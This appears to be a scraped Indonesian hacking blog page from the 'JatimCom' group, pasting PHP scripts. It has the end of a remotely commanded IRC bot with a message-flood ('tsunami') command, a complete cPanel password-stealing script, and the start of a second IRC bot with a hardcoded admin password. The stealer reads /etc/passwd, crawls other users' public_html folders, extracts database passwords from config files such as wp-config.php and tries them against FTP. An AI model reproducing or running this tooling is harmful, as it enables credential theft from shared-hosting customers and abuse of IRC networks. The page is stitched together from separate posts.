if ($com[3]==':!auth') {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,'NOTICE '.$dNick.' :You`re already Authorized!' . CRL);
} else {
$whois = $dNick;
fputs($fp,'WHOIS '.$dNick . CRL);
}
} elseif ($com[3]==':`auth' && $chan) {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' is the Best!' . CRL);
} else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', Siapa sich loe?' . CRL); }
} elseif ($auth["$dNick"]["auth"]==2) {
if ($com[3]==':`say' && $com[4] && $chan) {
$msg = strstr($data,":`say");
$msg = str_replace(":`say ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL);
}
elseif ($com[3]==':`dns' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($com[4]=="on") { $dns = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :DNS Resolver Command is now '.$dns . CRL); }
elseif ($com[4]=="off") { $dns = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :DNS Resolver Command is now '.$dns . CRL); }
}
elseif ($com[3]==':`whois' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($com[4]=="on") { $wdomain = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :Whois Domain Command is now '.$wdomain . CRL); }
elseif ($com[4]=="off") { $wdomain = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :Whois Domain Command is now '.$wdomain . CRL); }
}
elseif ($com[3]==':`act' && $com[4] && $chan) {
$msg = strstr($data,":`act");
$msg = str_replace(":`act ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' :ACTION '.$msg.''. CRL);
}
elseif ($com[3]==':`slap' && $com[4] && $chan) {
fputs($fp,'PRIVMSG '.$chan.' :ACTION slaps '.$com[4].' around a bit with a large trout'. CRL);
}
elseif ($com[3]==':`msg' && $com[4] && $com[5]) {
$msg = strstr($data,":`msg");
$msg = str_replace(":`msg $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':`notice' && $com[4] && $com[5]) {
$msg = strstr($data,":`notice");
$msg = str_replace(":`notice $com[4] ","",$msg);
fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':`ctcp' && $com[4] && $com[5]) {
$msg = strstr($data,":`ctcp");
$msg = str_replace(":`ctcp $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' :'.$msg.''. CRL);
}
elseif ($com[3]==':`ping' && $chan) {
fputs($fp,'PRIVMSG '.$chan.' :aw...aw...aw... '. CRL);
}
elseif ($com[3]==':`pong' && $chan) {
fputs($fp,'PRIVMSG '.$chan.' :aw...aw...aw... '. CRL);
}
elseif ($com[3]==':`info' && $auth["$dNick"]["status"]=="Admin") {
$bhost = $_SERVER['HTTP_HOST'];
$bphp = $_SERVER['PHP_SELF'];
fputs($fp,'PRIVMSG '.$dNick.' :Bot Host: '.$bhost.', Bot PHP: '.$bphp. CRL);
}
elseif ($com[3]==':`up' && $chan) {
fputs($fp, 'PRIVMSG chanserv@services.dal.net :op '.$chan.' '.$nick . CRL);
}
elseif ($com[3]==':`down' && $chan) {
fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL);
}
elseif ($com[3]==':`tsunami' && $com[4] && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":`tsunami");
$msg = str_replace(":`tsunami $com[4]","",$msg);
if (ereg("#", $com[4])) {
fputs($fp, 'JOIN '.$com[4] . CRL);
}
fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.'' . CRL);
fputs($fp, 'NOTICE '.$com[4].' :'.$msg.'' . CRL);
fputs($fp, 'PRIVMSG '.$com[4].' :TSUNAMI '.$msg.'' . CRL);
fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.'' . CRL);
fputs($fp, 'NOTICE '.$com[4].' :'.$msg.'' . CRL);
fputs($fp, 'PRIVMSG '.$com[4].' :FLOOD '.$msg.'' . CRL);
if (ereg("#", $com[4])) {
fputs($fp, 'PART '.$com[4].' :'.$msg . CRL);
}
}
elseif ($com[3]==':`cycle' && $chan && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":`cycle");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":`cycle $com[4]","",$msg);
} else {
$partchan = $chan;
$msg = str_replace(":`cycle","",$msg);
}
if (strlen($msg)<3) {
$msg = $cyclem[rand(0,count($cyclem) - 1)];
}
fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
fputs($fp, 'JOIN '.$partchan . CRL);
}
elseif ($com[3]==':`part' && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":`part");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":`part $com[4]","",$msg);
} else {
$partchan = $chan;
$msg = str_replace(":`part","",$msg);
}
if (strlen($msg)<3) {
$msg = $partm[rand(0,count($partm) - 1)];
}
sleep(rand(1,6));
fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
$remchan = strtolower($partchan);
if (in_array($remchan, $channel)) {
$channels = str_replace("$remchan ","",$channels);
unset($channel);
$channel = explode(" ", $channels);
}
}
elseif ($com[3]==':`join' && $com[4] && $auth["$dNick"]["status"]!="user") {
if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; }
// fputs($fp, 'JOIN ' .$com[4]. CRL);
$addchan = strtolower($com[4]);
if (!in_array($addchan, $channel)) {
$channel[]=$addchan;
$channels.="$addchan ";
}
foreach ($channel as $v) {
sleep(rand(1,6));
fputs($fp, 'JOIN '.$v . CRL);
}
}
elseif ($com[3]==':`botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") {
$nick = $com[4];
$identify = $com[5];
fputs($fp, 'NICK '.$nick . CRL);
fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL);
}
elseif ($com[3]==':`k' && $com[4] && $chan) {
$msg = strstr($data,":`k");
$msg = str_replace(":`k $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
}
elseif ($com[3]==':`kb' && $com[4] && $chan) {
$msg = strstr($data,":`kb");
$msg = str_replace(":`kb $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL);
}
elseif ($com[3]==':`op' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`deop' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`v' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`dv' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`detik' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]=="on") { $dnews = "on"; }
elseif ($com[4]=="off") { $dnews = "off"; }
fputs($fp, 'PRIVMSG '.$dNick.' :Detik News is now '.$dnews . CRL);
}
elseif ($com[3]==':`log' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]=="on") { $log = "on"; }
elseif ($com[4]=="off") { $log = "off"; }
fputs($fp, 'PRIVMSG '.$dNick.' :Query/Inviter LoG to Admin is now '.$log . CRL);
}
elseif ($com[3]==':`awaymsg' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":`awaymsg");
$msg = str_replace(":`awaymsg","",$msg);
if (strlen($msg)<3) {
$raway="on";
$awaymsg = $awaym[rand(0,count($awaym) - 1)];
} else {
$raway="off";
$awaymsg=trim($msg);
}
fputs($fp,'AWAY :[6Life for:4 '.$uptime.'12]7 (6'.$awaymsg.'7)'. CRL);
}
elseif ($com[3]==':`mode' && $com[4] && $chan) {
fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL);
}
elseif ($com[3]==':`nickmode' && $com[4]) {
$nickmode = $com[4];
fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL);
}
elseif ($com[3]==':`chanlist') {
fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL);
}
elseif ($com[3]==':`userlist') {
$userlist="Admin($Admin) ";
foreach ($auth as $user) {
if ($user["pass"]) { $pass="-pass ok"; }
else { $pass="-no pass"; }
if ($user["status"]!="Admin") {
$userlist .= $user["name"].'('.$user["status"].$pass.') ';
}
}
fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
}
elseif ($com[3]==':`quit' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":`quit");
$msg = str_replace(":`quit","",$msg);
if (strlen($msg)>3) {
$msg = str_replace(" ","_",$msg);
}
fputs($fp, 'QUIT �«�®�¤[JATIMCOM]�¤�®�»4 ShutDown by 12'.$dNick.'4('.$msg.')' . CRL);
$keluar = 1;
exit;
}
elseif ($com[3]==':`vhost' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]) { $localhost = $com[4]; }
else { $localhost = 'localhost'; }
$keluar = 0;
fputs($fp, 'QUIT 12JatimCom4 Changing vHoST by 12'.$dNick.'4 ('.$localhost.')' . CRL);
}
elseif ($com[3]==':`jump' && $auth["$dNick"]["status"]=="Admin") {
if (!eregi(".dal.net",$com[4])) {
$remotehost = "irc.dal.net";
} else { $remotehost = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT 12JatimCom4Changing Server by 12'.$dNick.'4 ('.$remotehost.')' . CRL);
}
elseif ($com[3]==':`ident' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) {
$username = "Slave".randchar(3);
} else { $username = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT 12JatimCOm4 Changing IdentD by 12'.$dNick.'4 ('.$username.')' . CRL);
}
elseif ($com[3]==':`fullname' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) {
$realname = "4Powered by JatimCom ";
} else { $realname = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT 12JatimCom4Changing FuLLNamE by 12'.$dNick.'4 ('.$realname.')' . CRL);
}
elseif ($com[3]==':`topic' && $com[4] && $chan) {
$msg = strstr($data,":`topic");
$msg = str_replace(":`topic ","",$msg);
fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL);
}
elseif ($com[3]==':!help' && !$chan) {
fputs($fp,'PRIVMSG '.$dNick.' :4 - Bot Help - Recod By Jatimcom -' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ auth <password> | !auth `auth | deauth | adduser <nick> <master/user> | deluser <nick> | pass <password> | chgpass <old pass> <new pass> ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ `say <message> | `act|slap <message> | `msg|notice|ctcp <nick> <message> | `ping/pong | `up | `down ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ `cycle <#channel> <message> | `join <channel/#channel> | `part <#channel> <message> | `nickmode <+/-nickmode> ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ `tsunami <nick/#channel> <message> | `botnick <new nick> <identify> | `k/kb <nick> <message> | `op <nick> | `deop <nick> | `v <nick> | `dv <nick> ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ `detik|whois|dns <on/off> | `awaymsg <message> | `mode <+/-chanmode> | `chanlist | `userlist | `quit <message> | `vhost <ip address/hostname> ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :[ `jump <server.dal.net> | `ident <username> | `fullname <realname> | `topic <new chan topic> | `log <on/off> ]' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' :4 - End Of Help - ' . CRL);
}
// else { fputs($fp, 'NOTICE '.$dNick.' :Bad Command! Type: !help To Get My Help :P ' . CRL);
// }
} else { fputs($fp,'NOTICE '.$dNick.' :Please Auth First! Type: auth <your pass> To Authorized '. CRL); }
}
}
elseif (!$auth["$dNick"] && !eregi("auth",$iText)) {
if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) {
if (!ereg("#",$dCommand)) {
if ($log=="on") {
fputs($fp,'PRIVMSG '. $Admin .' :4inviter: ' . $dFrom . '2:' .$iText. CRL);
}
$inv = strstr($dFrom,'@');
foreach ($auth as $user) {
if ($user["status"]=="user") {
fputs($fp, 'NOTICE '.$user["name"].' :KB '.$chan.' '.$dNick.' '.$inv.'' . CRL);
}
}
}
}
elseif (!ereg("#",$dCommand)) {
if ($qnick["$dNick"]!=2) {
$qnick["$dNick"]++;
$querymsg = $querym[rand(0,count($querym) - 1)];
$querymsg = str_replace("nick",$dNick,$querymsg);
fputs($fp,'PRIVMSG '.$dNick.' :'.$querymsg . CRL);
}
if ($log=="on") {
fputs($fp,'PRIVMSG '.$Admin.' :6' . $dFrom . '12:' .$iText. CRL);
}
}
}
}
}
elseif (substr($data,0,4) == 'PING') {
fputs($fp,'PONG ' . substr($data,5) . CRL);
}
}
}
fclose ($fp);
} while ($keluar==0);

}
?>

simpan dengan extensi .php
perview liat disini «•‡•» JatimCom - PHP BoT «•‡•»
read more...

Script mencari password cpanel

<?php
echo "<html>";
echo "<title>Jatim Community</title><body>";

set_time_limit(0);
##################
@$passwd=fopen('/etc/passwd','r');
if (!$passwd) {
echo "[-] Error : coudn't read /etc/passwd";
exit;
}
$path_to_public=array();
$users=array();
$pathtoconf=array();
$i=0;

while(!feof($passwd)) {
$str=fgets($passwd);
if ($i>35) {
$pos=strpos($str,":");
$username=substr($str,0,$pos);
$dirz="/home/$username/public_html/";
if (($username!="")) {
if (is_readable($dirz)) {
array_push($users,$username);
array_push($path_to_public,$dirz);
}
}
}
$i++;
}
###################

#########################
echo "<br><br>";
echo "<textarea name='main_window' cols=100 rows=20>";

echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
echo "[+] Founded ".sizeof($path_to_public)." readable public_html directories\n";

echo "[~] Searching for passwords in config.* files...\n\n";
foreach ($users as $user) {
$path="/home/$user/public_html/";
read_dir($path,$user);
}

echo "\n[+] Done\n";

function read_dir($path,$username) {
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
$fpath="$path$file";
if (($file!='.') and ($file!='..')) {
if (is_readable($fpath)) {
$dr="$fpath/";
if (is_dir($dr)) {
read_dir($dr,$username);
}
else {
if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='configuration.php') or ($file=='db_connect.php')) {
$pass=get_pass($fpath);
if ($pass!='') {
echo "[+] $fpath\n$pass\n";
ftp_check($username,$pass);
}
}
}
}
}
}
}
}

function get_pass($link) {
@$config=fopen($link,'r');
while(!feof($config)) {
$line=fgets($config);
if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) {
if (strrpos($line,'"'))
$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
else
$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
return $pass;
}
}
}

function ftp_check($login,$pass) {
@$ftp=ftp_connect('127.0.0.1');
if ($ftp) {
@$res=ftp_login($ftp,$login,$pass);
if ($res) {
echo '[FTP] '.$login.':'.$pass." Success\n";
}
else ftp_quit($ftp);
}
}

echo "</textarea><br>";

echo "</body></html>";
?>
read more...

Thursday, October 1, 2009

Script Target On

<?php
/*
+---------------------------------------------------------------------------
| PHP-IRC v1.3 For Server Allnetwork
| ========================================================
| recording by jatimcom
| (c) 2007-2008
| irc.allnetwork.org
| ========================================
+---------------------------------------------------------------------------
*/

#######################
set_time_limit(0);
define ('CRLF', "\r\n");
$modbot=new module_bot;
#######################

#################### [ CONFIG BOT ] #######################
$bot['admin']="cimpli";
$bot['pass']="331199";
$bot['inick']="";
$bot['pnick']="";
$bot['basechan']="#gang-dolly";
$bot['roomnet']="#jatimcomhelp";
$bot['roomkey']="jatimcom";
$bot['local']="localhost";
$bot['server']="irc.big.net.id";
$bot['port']=6667;
$bot['userver']=0;
$bot['pserver']="remotepass";
/////////////////////////////////////
$bot['nick']=$modbot->rnd_nick();
$bot['ident']=$modbot->rnd_ident();
$bot['realname']=$modbot->rnd_real();

################# [ END CONFIG BOT ] ######################

#################### [ AUTH VAR ] #########################
$Admin=strtolower($bot['admin']);
$BOT_PASSWORD=strtolower($bot['pass']);
$auth = array($Admin => array("name" => $Admin, "pass" => $BOT_PASSWORD, "auth" => 1,"status" => "Owner","ident"=>"","host"=>"","time",""));
################## [ END AUTH VAR ] #######################

###################### [ VAR VAR ] ########################
$tsu=array("`","|","[","]","{","}","^","\\","_");
$zodiak = array("capricorn", "aquarius", "pisces", "aries", "taurus", "gemini", "cancer", "leo", "virgo", "libra", "scorpio", "sagitarius");
$ctcpversi=" 0,4«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ";
$ctcpfinger=" 0,4«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ";
$user_chan_arr[][]="";

$greetmsg["nick"]["nama"]="";
$greetmsg["nick"]["msg"]="";

$banlist[$bot['basechan']]="";
$ping["ping"]["nick"]="";
$ping["ping"]["chan"]="";

$jmlspoof["irc.visit.net.id"]=0;
$isisp[1]["irc.visit.net.id"]["ident"]="User";
$isisp[1]["irc.visit.net.id"]["spoof"]="jatim.community";
$isisp[1]["irc.visit.net.id"]["pass"]="jatim";

$kmusedan[0]["contoh"][]="";
$kmusedan[0]["definisi"][]="";
$kmusedan[0]["kata"][]="";
$kmjml["apa"]="";

$chanson=strtolower($bot['basechan']);
$listison[0]=strtolower($bot['admin']);
$ada1[$listison[0]]=false;
$ada2[$listison[0]]=true;

$goboom=0;$tmboom=0;$onboom="off";$targetboom="";$warnabenar="";$bw[0]="";$chanboom="";$timeboom=25;
$warnaboom="Merah;Kuning;Hijau;Ungu;Coklat;Hitam;Putih;Abu-abu;Emas;Silver;Maroon;Jingga;Orange";

$systembot['ping'][strtolower($bot['basechan'])]=" 4OFF ";
////////////////////
$iscy=time();
$timercy=2000;
$timermsg=2000;
$timeract=2000;
#################### [ END VAR VAR ] ######################

##################### [ CONNECT ] #####################
/////////////////
$servdef=array("irc.allnetwork.org");
$keluar=0;$retry=count($servdef)+1;$attconnect=0;$rtdc=0;
/////////////////
do {
$fp = fsockopen($bot['server'],$bot['port'], &$err_num, &$err_msg, 30);
if(!$fp) {
$attconnect++;
print "Sorry, the server " . $bot['server']. " is not currently available!".CRLF;
$bot['server']=$servdef[$attconnect-1];
$bot['userver']=0;
sleep(5);
if ($attconnect >=$retry){
$keluar=1;
exit;
}
}
else{
$inaway['status']=0;
$haltfl['on']=0;
$res_chan="";
$res_chan=$modbot->show_chan();
$modbot->destroy_allchan();
$attconnect=0;$rtdc++;
if($rtdc ==3){$bot['userver']=0;}elseif($rtdc >=4){$bot['ident']="say";$bot['userver']=0;$rtdc=0;}

####### REGISTER TO SERVER ########
if ($bot['userver']==1){$Header = 'PASS ' . $bot['pserver'] . CRLF;}
$Header .= 'NICK ' . $bot['nick'] . CRLF;
$Header .= 'USER ' . $bot['ident'] . ' ' . $bot['local'] . ' ' . $bot['server'] . ' :' . $bot['realname'];
$modbot->send($fp,$Header);
$Header="";
unset ($Header);
#### END REGISTER ################
$response = '';
while (!feof($fp)) {
#### MAIN ITUNG_ITUNGAN ###

if(time()-$haltfl['time']>15 && $haltfl['on']==1){$haltfl['on']=0;$haltfl['time']=time();}
if(time()-$isontime >15 && $systembot['ISON']['ALL']==" 3ON "){$modbot->send($fp,"ISON ". $modbot->show_ison());$isontime=time();}
if($systembot['AUTOAWAY']['ALL']==" 3ON " && $inaway['status']==0){if(time()-$inaway['idle'] >=1800){$modbot->away($fp,$modbot->rnd_logo().' '.$modbot->rnd_away());$inaway['status']=1;$inaway['idle']=time();}}
if(time()-$iscy >$timercy){$modbot->auto_cy($fp);$iscy=time();}
if($onboom=="on"){
$tboom=time()-$tmboom;
if($tboom>=$timeboom){
$modbot->kick($fp,$chanboom,$targetboom,' 0,13Time Empty... BOOOOOOMMMM!!!!! ');
$goboom=0;$onboom="off";$targetboom="";
}
}

#### MAIN ITUNG_ITUNGAN ###

##[ Proses Data Recv ]##
$response = fgets($fp, 1024);
while (substr_count($response,CRLF) != 0) {
$offset = strpos($response, CRLF);
$DataLine = substr($response,0,$offset);
if (substr($DataLine,0,1) == ':') {
$Params=explode(" ",$DataLine);
$offsetC = strpos($DataLine, ' :');
$dText = substr($DataLine,$offsetC+2);
if ((strpos($Params[0],"!")!=0) && (strpos($Params[0],"@")!=0) ) {
$fsrc[nick]=substr($Params[0],1,strpos($Params[0],"!")-1);
$fsrc[nkecil]=strtolower($fsrc[nick]);
$fsrc[user]=substr($Params[0],strpos($Params[0],"!")+1,(strpos($Params[0],"@")-strpos($Params[0],"!"))-1);
$fsrc[host]=substr($Params[0],strpos($Params[0],"@")+1);
}
##[ MEMULAI DATA RAW ]##
switch ($Params[1]){
case "001":
$bot['nick']=$Params[2];$rtdc=0;
break;
case "004":
$modbot->msg($fp,"Nickserv",'identify '.$bot['inick']. ' '. $bot['pnick']);
$modbot->msg($fp,"Nickserv",'identify '. $bot['pnick']);sleep(1);
$modbot->join($fp,$bot['basechan']);$modbot->join($fp,$bot['roomnet'],$bot['roomkey']);
sleep(2);
if($res_chan){$arres_chan=explode(";",$res_chan);foreach ($arres_chan as $clist){$modbot->join($fp,$clist,"");sleep(2);}}
break;
case "303":
$modbot->stuf_ison($fp,$dText);
break;
case "305":
$inaway['status']=0;
break;
case "306":
$inaway['status']=1;
break;
case "353":
$nickll=str_replace("@","",$dText);$nickll=str_replace("%","",$nickll);$nickll=str_replace("+","",$nickll);
$modbot->destroy_chan($Params[4]);$modbot->add_nickchan($Params[4],$nickll);
break;
case "367":
$modbot->notice($fp,$banlist["$Params[3]"],' 4[ 3+b 4] 1- 3'.$Params[4].' ');
break;
case "368":
$modbot->notice($fp,$banlist["$Params[3]"],' 4E 1nd 4o 1f 4c 1hannel 4b 1an 4l 1ist ');
unset($banlist["$Params[3]"]);
break;
case "432":
if($haltfl['on']==0){$modbot->nick($fp,$bot['nick'].$modbot->rand_str(4));}
break;
case "433":
if($haltfl['on']==0){$modbot->nick($fp,$bot['nick'].$modbot->rand_str(4));}
break;
case "464":
$bot['userver']=0;
break;
case "465":
$bot['userver']=0;
break;
case "NICK":
$newnicke = str_replace(':','',$Params[2]);
if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])==1){
$modbot->logoutbot($fsrc[nick]);$modbot->notice($fp,$newnicke,'You`re LogOut On Change Nick!');
}
if($fsrc[nkecil]==strtolower($bot['nick'])){$bot['nick']=$newnicke;}
break;
case "JOIN":
$addchan=str_replace(":","",$Params[2]);
$modbot->add_nickchan($addchan,$fsrc[nick]);
////////////////
if($fsrc[nkecil]==strtolower($greetmsg["$fsrc[nkecil]"]["nama"]) && $systembot['GREET'][strtoupper($addchan)]==" 3ON "){
$rndgreet=explode("[NG]",$greetmsg["$fsrc[nkecil]"]["msg"]);
$msgrndgreet=$rndgreet[rand(0,count($rndgreet) - 1)] ;
$addchan=str_replace(":","",$Params[2]);
$msgnya=str_replace("<|nick|>",$fsrc[nick],$msgrndgreet);
$msgnya=str_replace("<|chan|>",$addchan,$msgnya);
$modbot->msg($fp,$addchan,$msgnya);
}
////////////////
break;
case "PART":
if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])==1){
$modbot->logoutbot($fsrc[nick]);$modbot->notice($fp,$fsrc[nick],'You`re LogOut On Parting Channel!');
}
if($fsrc[nkecil]==strtolower($bot['nick'])){$modbot->destroy_chan($Params[2]);}
else{$modbot->del_nickchan($Params[2],$fsrc[nick]);}
break;
case "KICK":
if(strtolower($bot['nick'])==strtolower($Params[3])){
$modbot->destroy_chan($Params[2]);
if($systembot['AUTOJOIN'][strtoupper($Params[2])]==' 3ON '){sleep(1);$modbot->msg($fp,"Chanserv",'UNBAN '.$Params[2].' '.$bot['nick']);sleep(1);$modbot->join($fp,$Params[2]);}
}
else{ $modbot->del_nickchan($Params[2],$Params[3]);}
break;
case "QUIT":
$modbot->change_nickchan($fsrc[nick],"");
if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])==1){$modbot->logoutbot($fsrc[nick]);}
break;
case "NOTICE":
if($Params[3]==': PING'){
$modbot->stuf_lag($fp,$fsrc[nick],$Params[4]);
}
if($Params[3]==': VERSION'){
if($datversi[strtolower($fsrc[nick])]["nick"]==strtolower($fsrc[nick])){
$vernya=str_replace(chr(1),"",$dText);$vernya=substr($vernya,8);
$modbot->msg($fp,$datversi[strtolower($fsrc[nick])]["chan"],' 15( 04 I nfo 15) 7'.$fsrc[nick].' '.$vernya);
}
unset($datversi[strtolower($fsrc[nick])]["nick"]);unset($datversi[strtolower($fsrc[nick])]["chan"]);
}
if($Params[3]==': FINGER'){
if($datfinger[strtolower($fsrc[nick])]["nick"]==strtolower($fsrc[nick])){
$vernya=str_replace(chr(1),"",$dText);$vernya=substr($vernya,7);
$modbot->msg($fp,$datfinger[strtolower($fsrc[nick])]["chan"],' 15( 04 I nfo 15) 7'.$fsrc[nick].' '.$vernya);
}
unset($datfinger[strtolower($fsrc[nick])]["nick"]);unset($datfinger[strtolower($fsrc[nick])]["chan"]);
}
if($Params[3]==': TIME'){
if($dattime[strtolower($fsrc[nick])]["nick"]==strtolower($fsrc[nick])){
$timenya=str_replace(chr(1),"",$dText);$timenya=substr($timenya,5);
$modbot->msg($fp,$dattime[strtolower($fsrc[nick])]["chan"],' 15( 04 I nfo 15) 7'.$fsrc[nick].' '.$timenya);
}
unset($dattime[strtolower($fsrc[nick])]["nick"]);unset($dattime[strtolower($fsrc[nick])]["chan"]);
}
break;
case "PRIVMSG":
$TxtMsg=substr($DataLine,strpos($DataLine," :")+2);
unset($dCom);$dCom=explode(" ", $TxtMsg);$perintah=strtolower($dCom[0]);
if($haltfl['on']==0){
if ( $Params[3]==": PING") {$modbot->notice($fp,$fsrc[nick],$TxtMsg);}
elseif ($Params[3]==": VERSION ") { $modbot->notice($fp,$fsrc[nick],chr(1) . 'VERSION '. $ctcpversi . chr(1));}
elseif ($Params[3]==": FINGER ") { $modbot->notice($fp,$fsrc[nick],chr(1) . 'FINGER '. $ctcpfinger . chr(1));}
elseif ($Params[3]==": TIME ") { $timetoday = date("D M j H:i:s Y"); $modbot->notice($fp,$fsrc[nick],chr(1) . 'TIME '.$timetoday . chr(1));}
}
################ ANTI SLAPS ############
if($Params[3]==': ACTION' && ereg('#',$Params[2]) && $systembot['SLAPS'][strtoupper($Params[2])]==" 3ON "){
if(strpos(strtolower($TxtMsg),"slaps") || strpos(strtolower($TxtMsg),"slap")){
foreach ($auth as $ulist) {if($ulist["name"]){if(strpos(strtolower($TxtMsg),strtolower($ulist["name"]))){$onbos=1;}}}
if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])==1){$onbos=0;}
if($onbos==1){$modbot->kick($fp,$Params[2],$fsrc[nick],$modbot->rnd_slapbos());}
elseif($onbos==0){if(strpos(strtolower($TxtMsg),strtolower($bot['nick']))){$modbot->msg($fp,$Params[2],$modbot->rnd_slapampun());}}
else{if(strpos(strtolower($TxtMsg),strtolower($bot['nick']))){$modbot->kick($fp,$Params[2],$fsrc[nick],$modbot->rnd_slapme());}}
$onbos=2;
}
}
############ END ANTI SLAPS ############
if (substr($Params[3],0,2)==':^'){
$logok=$modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host]);
if (strtolower($dCom[0])=='^login' && $dCom[1]) {
if($logok==1){$modbot->notice($fp,$fsrc[nick],"You`re Already Authorized!");}
else{
if($haltfl['on']!=0){sleep(2);};
if($modbot->loginbot($fsrc[nick],$fsrc[user],$fsrc[host],$dCom[1])==1){
$modbot->notice($fp,$fsrc[nick],'You`re Authorized As '.$auth["$fsrc[nkecil]"]["status"].'!');
$modbot->notice($fp,$fsrc[nick],'For help type .help');
$auth["$fsrc[nkecil]"]["ident"]=$fsrc[user];$auth["$fsrc[nkecil]"]["host"]=$fsrc[host];
if($systembot['AUTOAWAY']['ALL']==" 3ON " && $inaway['status']==1){$inaway['idle']=time();$inaway['status']=0;$modbot->noaway($fp);}
}
}
}
elseif (strtolower($dCom[0])=='^logout' && $logok==1) {
if($modbot->logoutbot($fsrc[nick])==1){$modbot->notice($fp,$fsrc[nick],'You`re LogOut!');}
}
}
elseif (substr($Params[3],0,2)==':.'){
if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])){
if (ereg('#',$Params[2])){$cmdin=1;$target=$Params[2];}else {$cmdin=2;$target=$fsrc[nick];}
$getlvl=$modbot->level_user($fsrc[nick]);
if($systembot['AUTOAWAY']['ALL']==" 3ON " && $inaway['status']==1){$inaway['idle']=time();$inaway['status']=0;$modbot->noaway($fp);}
############### MULTI USER BOT ##############
if ($perintah=='.chgpass' && $dCom[1] && $dCom[2]) {
$modbot->chgpass_user($fp,$fsrc[nick],$dCom[1],$dCom[2]);
}
elseif ($perintah=='.adduser' && $dCom[1] && $dCom[1]!=$bot['nick'] && $dCom[2] && $dCom[3] && $getlvl > 1) {
